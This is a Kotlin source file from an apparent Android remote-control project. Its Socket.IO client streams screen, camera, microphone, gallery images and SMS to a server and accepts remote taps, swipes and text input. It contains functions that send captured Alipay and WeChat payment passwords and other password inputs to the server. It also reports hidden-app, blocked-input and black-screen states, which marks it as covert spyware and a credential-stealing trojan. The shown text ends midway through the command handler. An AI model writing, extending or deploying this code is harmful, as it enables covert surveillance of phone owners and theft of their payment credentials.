Files
android/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
wdvipa aa516590c8 fix: Android Socket.IO ws协议导致设备永远离线
- server_config.json: ws://改为http://,符合Socket.IO v4规范
- SocketIOManager: 新增convertToSocketIoProtocol方法,自动将ws/wss转换为http/https
- connect方法: 连接前自动转换协议,config一致性检查也做协议归一化
- forceReconnect: IO.socket调用前也做协议转换
- handleServerUrlChange: URL验证扩展支持http/https/ws/wss四种协议
- 清理全文件emoji符号,替换为英文日志
2026-02-15 18:08:33 +08:00

2892 lines
129 KiB
Kotlin
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package com.hikoncont.network
import android.content.Context
import android.content.Intent
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.WindowManager
import com.hikoncont.crash.CrashLogUploader
import com.hikoncont.service.AccessibilityRemoteService
import io.socket.client.IO
import io.socket.client.Socket
import io.socket.emitter.Emitter
import kotlinx.coroutines.*
import org.json.JSONObject
import org.json.JSONArray
import java.net.URISyntaxException
/**
* Socket.IO v4 client manager - resolves 47-second disconnect issue
*/
class SocketIOManager(private val service: AccessibilityRemoteService) {
companion object {
private const val TAG = "SocketIOManager"
}
// 🆕 锁屏状态缓存与定时检测
private var isScreenLocked: Boolean = false
private var lockStateJob: Job? = null
// 锁屏状态监控由connect()启动,避免在构造阶段协程作用域未就绪
private fun startLockStateMonitor() {
try {
lockStateJob?.cancel()
lockStateJob = scope.launch(Dispatchers.IO) {
while (isActive) {
try {
val before = isScreenLocked
val now = checkDeviceLocked()
isScreenLocked = now
if (before != now) {
Log.i(TAG, "Lock state changed: $before -> $now")
} else {
Log.d(TAG, "Lock state poll: isLocked=$now")
}
} catch (e: Exception) {
Log.w(TAG, "检测锁屏状态失败", e)
}
kotlinx.coroutines.delay(10_000)
}
}
} catch (e: Exception) {
Log.e(TAG, "启动锁屏状态监控失败", e)
}
}
private fun checkDeviceLocked(): Boolean {
return try {
val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager
val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true }
val locked = !isInteractive
Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked")
locked
} catch (e: Exception) {
Log.w(TAG, "检测锁屏状态失败", e)
false
}
}
// 🆕 应用信息获取
private fun getAppVersionName(): String {
return try {
val pm = service.packageManager
val pkg = service.packageName
val pi = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
pm.getPackageInfo(pkg, android.content.pm.PackageManager.PackageInfoFlags.of(0))
} else {
@Suppress("DEPRECATION")
pm.getPackageInfo(pkg, 0)
}
pi.versionName ?: "unknown"
} catch (e: Exception) {
Log.w(TAG, "获取应用版本失败", e)
"unknown"
}
}
private fun getAppName(): String {
return try {
val pm = service.packageManager
val ai = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
pm.getApplicationInfo(service.packageName, android.content.pm.PackageManager.ApplicationInfoFlags.of(0))
} else {
@Suppress("DEPRECATION")
pm.getApplicationInfo(service.packageName, 0)
}
pm.getApplicationLabel(ai).toString()
} catch (e: Exception) {
Log.w(TAG, "获取应用名称失败", e)
"unknown"
}
}
/**
* 发送相册数据到服务器(逐张发送;可被新的读取请求打断重启)
*/
fun sendGalleryData(items: List<com.hikoncont.manager.GalleryManager.GalleryItem>) {
try {
if (socket?.connected() == true) {
// 优化:逐张发送,避免单包过大
items.forEachIndexed { index, itx ->
try {
val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
if (base64Data == null) {
Log.w(TAG, "Skip image(cannot load): ${itx.displayName} uri=${itx.contentUri}")
return@forEachIndexed
}
// 频率限制,避免与其他数据通道冲突
val now = System.currentTimeMillis()
if (now - lastGalleryImageTime < galleryImageInterval) {
Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
}
lastGalleryImageTime = System.currentTimeMillis()
// 大小限制
val approxBytes = (base64Data.length * 3) / 4
if (approxBytes > maxGalleryImageSize) {
Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
return@forEachIndexed
}
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "gallery_image")
put("timestamp", System.currentTimeMillis())
put("index", index)
put("id", itx.id)
put("displayName", itx.displayName)
put("dateAdded", itx.dateAdded)
put("mimeType", itx.mimeType)
put("width", itx.width)
put("height", itx.height)
put("size", itx.size)
put("contentUri", itx.contentUri)
put("format", "JPEG")
put("data", base64Data)
}
socket?.emit("gallery_image", payload)
Log.d(TAG, "Gallery image sent: ${itx.displayName} (${itx.width}x${itx.height})")
} catch (e: Exception) {
Log.e(TAG, "Failed to send gallery image: ${itx.displayName}", e)
}
}
} else {
Log.w(TAG, "Socket not connected, cannot send gallery data")
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送相册数据失败", e)
}
}
// 🆕 相册读取/发送控制
private var galleryJob: Job? = null
/**
* 启动完整相册读取并发送任务;若正在进行则取消并重启
*/
fun startReadAndSendAllGallery() {
try {
// 取消上一次任务
galleryJob?.cancel()
Log.d(TAG, "Cancel previous gallery read task (if exists)")
galleryJob = scope.launch(Dispatchers.IO) {
Log.d(TAG, "Start reading all gallery images (no limit)")
val items = service.readGallery(limit = -1)
Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending")
sendGalleryData(items)
Log.d(TAG, "Gallery send task complete")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to start gallery read task", e)
}
}
/**
* 发送麦克风音频数据到服务器
*/
fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
try {
if (socket?.connected() != true) {
Log.w(TAG, "Socket not connected, cannot send audio data")
checkConnectionAndReconnect()
return
}
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "microphone_audio")
put("timestamp", System.currentTimeMillis())
put("sampleRate", sampleRate)
put("sampleCount", sampleCount)
put("format", format)
put("audioData", base64Audio)
}
socket?.emit("microphone_audio", payload)
} catch (e: Exception) {
Log.e(TAG, "发送音频数据失败", e)
}
}
private var socket: Socket? = null
private var isConnected = false
private var isDeviceRegistered = false
private var serverUrl: String = "" // 保存服务器地址
// 崩溃日志上传器
private val crashLogUploader = CrashLogUploader(service)
// Active connection check
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var connectionCheckJob: Job? = null
// Device registration management
private var registrationTimeoutHandler: Runnable? = null
private val mainHandler = Handler(Looper.getMainLooper())
private var registrationAttempts = 0
private var lastRegistrationTime = 0L
// Network status monitoring
private var lastNetworkType: String? = null
private var lastConnectTime: Long = 0
private var transportErrorCount = 0
private var lastTransportErrorTime = 0L
// Network quality monitoring
private var networkQualityScore = 100 // 0-100分100为最佳
private var connectionSuccessCount = 0
private var connectionFailureCount = 0
private val recentConnectionTimes = mutableListOf<Long>() // 记录最近10次连接持续时间
// Screen data send failure tracking
private var screenDataFailureCount = 0
// Screen data send rate control
private var lastScreenDataTime = 0L
private val screenDataInterval = 66L // 66ms interval, matching 15fps capture rate
private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制避免数据过大
// 📷 摄像头数据发送控制
private var lastCameraDataTime = 0L
private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms匹配5fps与屏幕数据保持一致
private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制摄像头数据通常较小
private var cameraDataFailureCount = 0
// Connection stability monitoring
private var lastSuccessfulDataSend = 0L
private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
private var isDataStarved = false
// 🆕 公网IP相关
private var cachedPublicIP: String? = null
private var lastIPCheckTime = 0L
private val IP_CACHE_DURATION = 300000L // 5分钟缓存
// Gallery image send throttle/size limit
private var lastGalleryImageTime = 0L
private val galleryImageInterval = 250L
private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
/**
* Convert ws/wss protocol to http/https for Socket.IO v4 compatibility.
* Socket.IO v4 client requires http/https protocol, it handles
* the websocket upgrade internally.
*/
private fun convertToSocketIoProtocol(url: String): String {
if (url.isBlank()) return url
return when {
url.startsWith("ws://") -> url.replaceFirst("ws://", "http://")
url.startsWith("wss://") -> url.replaceFirst("wss://", "https://")
url.startsWith("http://") || url.startsWith("https://") -> url
else -> {
Log.w(TAG, "Unknown protocol in URL: $url, prepending http://")
"http://$url"
}
}
}
/**
* Connect to Socket.IO v4 server
*/
suspend fun connect(serverUrl: String) {
try {
// Socket.IO v4 requires http/https protocol, convert ws/wss if needed
val socketIoUrl = convertToSocketIoProtocol(serverUrl)
this.serverUrl = socketIoUrl
Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl")
// Validate server URL format
if (socketIoUrl.isBlank()) {
Log.e(TAG, "Server URL is empty, cannot connect")
return
}
// Validate URL format
val validatedUrl = try {
java.net.URI.create(socketIoUrl)
socketIoUrl
} catch (e: Exception) {
Log.e(TAG, "Invalid server URL format: $socketIoUrl", e)
return
}
// Config consistency check
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
if (savedUrl != null) {
val normalizedSaved = convertToSocketIoProtocol(savedUrl)
if (normalizedSaved != socketIoUrl) {
Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL")
connect(normalizedSaved)
return
}
}
// Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd
val options = IO.Options().apply {
// Support polling+websocket dual transport, allow upgrade to websocket for better frame rate
transports = arrayOf("polling", "websocket")
reconnection = true
// Enhanced network stability config - randomized delay to spread reconnect timing
val randomOffset = (1000..3000).random().toLong()
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
// Android 15 特殊配置 - 更保守的超时设置
timeout = 60000 // 连接超时60秒
reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒避免集中重连
reconnectionDelayMax = 20000 // 最大重连延迟20秒
reconnectionAttempts = 20 // 减少重连次数,避免过度重试
Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms")
} else {
// 其他版本使用优化后的配置
timeout = 45000 // 连接超时45秒
reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒分散重连
reconnectionDelayMax = 15000 // 最大重连延迟15秒
reconnectionAttempts = 25 // 适中的重连次数
Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms")
}
forceNew = true
upgrade = true // Allow upgrade from polling to websocket
rememberUpgrade = true // Remember upgrade state
// Network environment adaptation
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
// 添加网络容错配置,包含设备信息用于服务器优化
query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
}
Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade")
}
socket = IO.socket(socketIoUrl, options)
setupEventListeners()
socket?.connect()
// 启动锁屏状态监控
startLockStateMonitor()
} catch (e: Exception) {
Log.e(TAG, "Socket.IO connect failed", e)
throw e
}
}
private fun setupEventListeners() {
socket?.let { socket ->
socket.on(Socket.EVENT_CONNECT) {
Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}")
isConnected = true
isDeviceRegistered = false
// Record connection metrics
lastConnectTime = System.currentTimeMillis()
transportErrorCount = 0
connectionFailureCount = 0
connectionSuccessCount++
updateNetworkQualityScore(true)
// Detect network type change
val currentNetworkType = getCurrentNetworkType()
if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
Log.i(TAG, "Network type changed: $lastNetworkType -> $currentNetworkType")
}
lastNetworkType = currentNetworkType
// Pause screen capture until registration completes
service.pauseScreenCaptureUntilRegistered()
// Send device registration immediately without random delay
// Server-side registration queue handles concurrency
Log.i(TAG, "Sending device registration immediately after connect")
sendDeviceRegistration()
// Start connection monitoring
startConnectionMonitoring()
}
socket.on(Socket.EVENT_DISCONNECT) { args ->
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
Log.w(TAG, "Socket.IO v4 disconnected: $reason")
val currentTime = System.currentTimeMillis()
val connectionDuration = currentTime - lastConnectTime
recordConnectionDuration(connectionDuration)
if (reason == "transport error") {
transportErrorCount++
lastTransportErrorTime = currentTime
connectionFailureCount++
updateNetworkQualityScore(false, "transport_error", connectionDuration)
Log.e(TAG, "Transport Error count=$transportErrorCount, connectionDuration=${connectionDuration}ms")
if (transportErrorCount >= 3 && connectionDuration < 300000) {
Log.w(TAG, "Frequent transport errors, will use conservative strategy on reconnect")
}
} else {
updateNetworkQualityScore(false, reason, connectionDuration)
}
isConnected = false
isDeviceRegistered = false
registrationAttempts = 0
registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler)
registrationTimeoutHandler = null
}
connectionCheckJob?.cancel()
service.pauseScreenCapture()
}
socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
val error = if (args.isNotEmpty()) args[0] else null
val errorMsg = error?.toString() ?: "unknown"
connectionFailureCount++
updateNetworkQualityScore(false, "connect_error", 0)
// Throttle log output: first 3 errors always log, then every 10th
val shouldLog = connectionFailureCount <= 3 || connectionFailureCount % 10 == 0
if (!shouldLog) return@on
val isTransientError = errorMsg.contains("xhr poll error") ||
errorMsg.contains("timeout") ||
errorMsg.contains("websocket error")
if (isTransientError) {
Log.w(TAG, "Socket.IO connection error #$connectionFailureCount (transient, will auto-retry): $errorMsg")
} else {
Log.e(TAG, "Socket.IO connection error #$connectionFailureCount: $errorMsg")
}
if (error is Exception && error.cause != null) {
Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}")
}
}
socket.on("device_registered") { args ->
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
Log.i(TAG, "Device registered successfully: ${data.optString("message")}")
isDeviceRegistered = true
registrationAttempts = 0
// Cancel timeout handler
registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler)
registrationTimeoutHandler = null
}
// Resume screen capture after registration
Log.i(TAG, "Registration confirmed, resuming screen capture")
service.resumeScreenCaptureAfterRegistration()
// Check if config mask can be hidden
service.checkAndHideConfigMask()
// Upload pending crash logs
crashLogUploader.uploadPendingLogs(socket, getDeviceId())
} catch (e: Exception) {
Log.e(TAG, "Failed to process device_registered response", e)
}
} else {
Log.w(TAG, "Received device_registered event with no args")
}
}
socket.on("control_command") { args ->
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
handleControlMessage(data)
} catch (e: Exception) {
Log.e(TAG, "处理控制命令失败", e)
}
}
}
// Handle server restart event
socket.on("server_restarted") { _ ->
Log.i(TAG, "Received server_restarted, re-registering device")
isDeviceRegistered = false
sendDeviceRegistration()
}
socket.on("ping_for_registration") { _ ->
Log.i(TAG, "Received ping_for_registration, re-registering device")
isDeviceRegistered = false
sendDeviceRegistration()
}
// CONNECTION_TEST_RESPONSE handler - resolve heartbeat failure accumulation
socket.on("CONNECTION_TEST_RESPONSE") { args ->
try {
if (args.isNotEmpty()) {
val data = args[0] as JSONObject
val success = data.optBoolean("success", false)
val timestamp = data.optLong("timestamp", 0)
Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp")
// 重置心跳失败计数,表示连接正常
// 这个响应表明服务器正常处理了我们的心跳测试
} else {
Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to handle CONNECTION_TEST_RESPONSE", e)
}
}
// Standard pong response handler
socket.on("pong") { _ ->
Log.d(TAG, "Received server pong response")
}
// Heartbeat ack handler
socket.on("heartbeat_ack") { args ->
try {
if (args.isNotEmpty()) {
val data = args[0] as JSONObject
val timestamp = data.optLong("timestamp", 0)
Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to handle heartbeat_ack", e)
}
}
// 处理UI层次结构分析请求
socket.on("ui_hierarchy_request") { args ->
Log.e(TAG, "Received UI hierarchy request")
Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}")
Log.e(TAG, "Current timestamp: ${System.currentTimeMillis()}")
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
Log.e(TAG, "Request data: $data")
handleUIHierarchyRequest(data)
} catch (e: Exception) {
Log.e(TAG, "Failed to handle UI hierarchy request", e)
}
} else {
Log.e(TAG, "UI hierarchy request args empty")
}
}
// Adaptive quality: receive server quality adjust command
socket.on("quality_adjust") { args ->
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
Log.i(TAG, "Received quality adjust: $data")
val fps = data.optInt("fps", -1)
val quality = data.optInt("quality", -1)
val maxWidth = data.optInt("maxWidth", -1)
val maxHeight = data.optInt("maxHeight", -1)
service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
// Support server command to switch capture mode
val captureMode = data.optString("captureMode", "")
if (captureMode == "accessibility") {
Log.i(TAG, "Server command: switch to accessibility capture mode")
service.getScreenCaptureManager()?.switchToAccessibilityMode()
} else if (captureMode == "mediaprojection") {
Log.i(TAG, "Server command: switch to MediaProjection mode")
service.getScreenCaptureManager()?.switchToMediaProjectionMode()
}
} catch (e: Exception) {
Log.e(TAG, "Failed to handle quality adjust", e)
}
}
}
}
}
private fun sendDeviceRegistration() {
scope.launch {
try {
val currentTime = System.currentTimeMillis()
// Throttle: 1 second minimum between registration attempts
val REGISTRATION_THROTTLE_MS = 1000L
if (currentTime - lastRegistrationTime < REGISTRATION_THROTTLE_MS) {
Log.d(TAG, "Registration throttled, skipping duplicate")
return@launch
}
lastRegistrationTime = currentTime
registrationAttempts++
// Allow more retry attempts before giving up
val MAX_REGISTRATION_ATTEMPTS = 30
if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) {
Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing")
return@launch
}
val publicIP = getPublicIP()
val androidDeviceId = getDeviceId()
val socketId = socket?.id() ?: "unknown"
val deviceInfo = JSONObject().apply {
put("deviceId", androidDeviceId)
put("socketId", socketId)
put("deviceName", getUniqueDeviceName())
put("deviceModel", android.os.Build.MODEL)
put("osVersion", android.os.Build.VERSION.RELEASE)
put("appVersion", getAppVersionName())
put("appPackage", service.packageName)
put("appName", getAppName())
put("screenWidth", getScreenWidth())
put("screenHeight", getScreenHeight())
put("timestamp", System.currentTimeMillis())
put("capabilities", org.json.JSONArray().apply {
put("click")
put("swipe")
put("input")
put("screenshot")
})
put("inputBlocked", service.isInputBlocked())
put("blackScreenActive", service.isBlackScreenActive())
put("appHidden", service.isAppHidden())
put("manufacturer", android.os.Build.MANUFACTURER)
put("brand", android.os.Build.BRAND)
put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16))
put("publicIP", publicIP ?: "unknown")
put("systemVersionName", getSystemVersionName())
put("romType", getROMType())
put("romVersion", getROMVersion())
put("osBuildVersion", getOSBuildVersion())
}
Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}")
val emitResult = socket?.emit("device_register", deviceInfo)
Log.i(TAG, "device_register emit result: $emitResult")
// Set registration timeout: retry after 10 seconds if no confirmation
registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler)
}
val REGISTRATION_TIMEOUT_MS = 10000L
registrationTimeoutHandler = Runnable {
if (!isDeviceRegistered && registrationAttempts <= MAX_REGISTRATION_ATTEMPTS) {
Log.w(TAG, "Registration timeout after ${REGISTRATION_TIMEOUT_MS}ms, retrying")
sendDeviceRegistration()
}
}
mainHandler.postDelayed(registrationTimeoutHandler!!, REGISTRATION_TIMEOUT_MS)
} catch (e: Exception) {
Log.e(TAG, "sendDeviceRegistration failed", e)
}
}
}
/**
* 发送屏幕数据到服务器优化版本减少transport error
*/
fun sendScreenData(frameData: ByteArray) {
try {
val currentTime = System.currentTimeMillis()
// Rate limit: avoid sending too frequently
if (currentTime - lastScreenDataTime < screenDataInterval) {
// 跳过这帧,避免发送过于频繁
return
}
// Size check: avoid sending oversized data causing transport error
if (frameData.size > maxScreenDataSize) {
Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
return
}
// Connection starvation check
if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
if (!isDataStarved) {
Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题")
isDataStarved = true
// 不立即重连,而是给连接一些时间恢复
}
}
if (socket?.connected() == true) {
// Pre-compute Base64 string to reduce memory allocation during JSON build
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
val screenData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "JPEG")
put("data", base64Data)
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 50)
put("timestamp", currentTime)
put("isLocked", isScreenLocked)
}
// Enhanced emit failure tolerance
try {
socket?.emit("screen_data", screenData)
// 发送成功,重置发送失败计数和饥饿状态
screenDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
// Only update throttle timestamp after successful emit
lastScreenDataTime = currentTime
// Log compression and encoding efficiency
val base64Size = base64Data.length
val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
} catch (emitException: Exception) {
screenDataFailureCount++
Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
if (screenDataFailureCount >= 20) {
Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次,触发重连检测")
checkConnectionAndReconnect()
screenDataFailureCount = 0
}
Log.w(TAG, "屏幕数据发送失败,但不影响后续发送")
}
} else {
Log.w(TAG, "Socket.IO not connected, cannot send screen data")
// Try reconnect
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送屏幕数据失败", e)
}
}
/**
* 发送摄像头数据到服务器
*/
fun sendCameraFrame(frameData: ByteArray) {
try {
val currentTime = System.currentTimeMillis()
// Rate limit: avoid sending too frequently
if (currentTime - lastCameraDataTime < cameraDataInterval) {
return
}
// Size check: avoid sending oversized data
if (frameData.size > maxCameraDataSize) {
Log.w(TAG, "Camera data too large, skipped: ${frameData.size} bytes > ${maxCameraDataSize} bytes")
return
}
lastCameraDataTime = currentTime
if (socket?.connected() == true) {
// 将摄像头数据编码为Base64
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
val cameraData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "JPEG")
put("data", base64Data)
put("type", "camera")
put("timestamp", currentTime)
}
try {
socket?.emit("camera_data", cameraData)
// 发送成功,重置失败计数
cameraDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
} catch (e: Exception) {
cameraDataFailureCount++
Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}")
// If consecutive failures too many, try reconnect
if (cameraDataFailureCount >= 3) {
Log.w(TAG, "Camera data send consecutive failures, trying reconnect")
checkConnectionAndReconnect()
}
}
} else {
Log.w(TAG, "Socket not connected, cannot send camera data")
// Try reconnect
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送摄像头数据失败", e)
}
}
/**
* 发送短信数据到服务器
*/
fun sendSMSData(smsList: List<com.hikoncont.manager.SMSMessage>) {
try {
val currentTime = System.currentTimeMillis()
if (socket?.connected() == true) {
val smsData = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "sms_data")
put("timestamp", currentTime)
put("count", smsList.size)
// 将短信列表转换为JSON数组
val smsArray = JSONArray()
smsList.forEach { sms ->
val smsJson = JSONObject().apply {
put("id", sms.id)
put("address", sms.address)
put("body", sms.body)
put("date", sms.date)
put("read", sms.isRead)
put("type", sms.type)
}
smsArray.put(smsJson)
}
put("smsList", smsArray)
}
try {
socket?.emit("sms_data", smsData)
Log.d(TAG, "SMS data sent: ${smsList.size} messages")
} catch (e: Exception) {
Log.e(TAG, "发送短信数据失败", e)
}
} else {
Log.w(TAG, "Socket not connected, cannot send SMS data")
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送短信数据失败", e)
}
}
/**
* 发送支付宝密码数据
*/
fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💰 开始发送支付宝密码数据")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "alipay_password")
put("timestamp", System.currentTimeMillis())
put("password", password)
put("passwordLength", password.length)
put("inputMethod", inputMethod)
put("activity", "AlipayPasswordActivity")
put("sessionId", System.currentTimeMillis().toString())
}
socket?.emit("alipay_password", payload)
Log.i(TAG, "Alipay password data sent")
} else {
Log.w(TAG, "Socket not connected, cannot send Alipay password data")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to send Alipay password data", e)
}
}
/**
* 发送支付宝检测状态
*/
fun sendAlipayDetectionStatus(enabled: Boolean) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💰 发送支付宝检测状态: $enabled")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "alipay_detection_status")
put("timestamp", System.currentTimeMillis())
put("enabled", enabled)
put("status", if (enabled) "enabled" else "disabled")
}
socket?.emit("alipay_detection_status", payload)
Log.i(TAG, "Alipay detection status sent: $enabled")
} else {
Log.w(TAG, "Socket not connected, cannot send Alipay detection status")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to send Alipay detection status", e)
}
}
/**
* 发送微信密码数据
*/
fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💬 开始发送微信密码数据")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "wechat_password")
put("timestamp", System.currentTimeMillis())
put("password", password)
put("passwordLength", password.length)
put("inputMethod", inputMethod)
put("activity", "WechatPasswordActivity")
put("sessionId", System.currentTimeMillis().toString())
}
socket?.emit("wechat_password", payload)
Log.i(TAG, "WeChat password data sent")
} else {
Log.w(TAG, "Socket not connected, cannot send WeChat password data")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to send WeChat password data", e)
}
}
/**
* 发送微信检测状态
*/
fun sendWechatDetectionStatus(enabled: Boolean) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💬 发送微信检测状态: $enabled")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "wechat_detection_status")
put("timestamp", System.currentTimeMillis())
put("enabled", enabled)
put("status", if (enabled) "enabled" else "disabled")
}
socket?.emit("wechat_detection_status", payload)
Log.i(TAG, "WeChat detection status sent: $enabled")
} else {
Log.w(TAG, "Socket not connected, cannot send WeChat detection status")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to send WeChat detection status", e)
}
}
/**
* 发送密码输入数据
*/
fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "Sending password input data: $inputMethod")
val payload = JSONObject().apply {
put("deviceId", deviceId)
put("type", "password_input")
put("timestamp", System.currentTimeMillis())
put("password", password)
put("passwordLength", password.length)
put("inputMethod", inputMethod)
put("passwordType", passwordType)
put("activity", activity)
put("installationId", installationId)
put("sessionId", System.currentTimeMillis().toString())
}
socket?.emit("password_input", payload)
Log.i(TAG, "Password input data sent")
} else {
Log.w(TAG, "Socket not connected, cannot send password input data")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to send password input data", e)
}
}
private fun handleControlMessage(json: JSONObject) {
try {
val type = json.getString("type")
val data = json.getJSONObject("data")
Log.d(TAG, "处理控制消息: type=$type")
when (type) {
"CLICK" -> {
val x = data.getDouble("x").toFloat()
val y = data.getDouble("y").toFloat()
Log.d(TAG, "执行点击: ($x, $y)")
service.performClick(x, y)
}
"SWIPE" -> {
val startX = data.getDouble("startX").toFloat()
val startY = data.getDouble("startY").toFloat()
val endX = data.getDouble("endX").toFloat()
val endY = data.getDouble("endY").toFloat()
val duration = data.optLong("duration", 300)
Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration")
service.performSwipe(startX, startY, endX, endY, duration)
}
"LONG_PRESS" -> {
val x = data.getDouble("x").toFloat()
val y = data.getDouble("y").toFloat()
Log.d(TAG, "执行长按: ($x, $y)")
service.performLongPress(x, y)
}
"LONG_PRESS_DRAG" -> {
// Handle continuous long press drag with full path
try {
val pathArray = data.getJSONArray("path")
val duration = data.optLong("duration", 1500L)
// 解析路径点
val pathPoints = mutableListOf<android.graphics.PointF>()
for (i in 0 until pathArray.length()) {
val point = pathArray.getJSONObject(i)
val x = point.getDouble("x").toFloat()
val y = point.getDouble("y").toFloat()
pathPoints.add(android.graphics.PointF(x, y))
}
Log.d(TAG, "Execute continuous long press drag: pathPoints=${pathPoints.size}, duration=${duration}ms")
service.performContinuousLongPressDrag(pathPoints, duration)
} catch (e: Exception) {
Log.e(TAG, "解析连续长按拖拽路径失败", e)
}
}
"INPUT_TEXT" -> {
val text = data.getString("text")
val isWebUnlock = data.optBoolean("webUnlockMode", false)
Log.d(TAG, "Input text: $text, Web unlock mode: $isWebUnlock")
// Web unlock mode handling
if (isWebUnlock) {
Log.d(TAG, "Web unlock mode enabled")
service.setWebUnlockMode(true)
}
// Standard text input
service.inputText(text)
// Reset web unlock mode after input
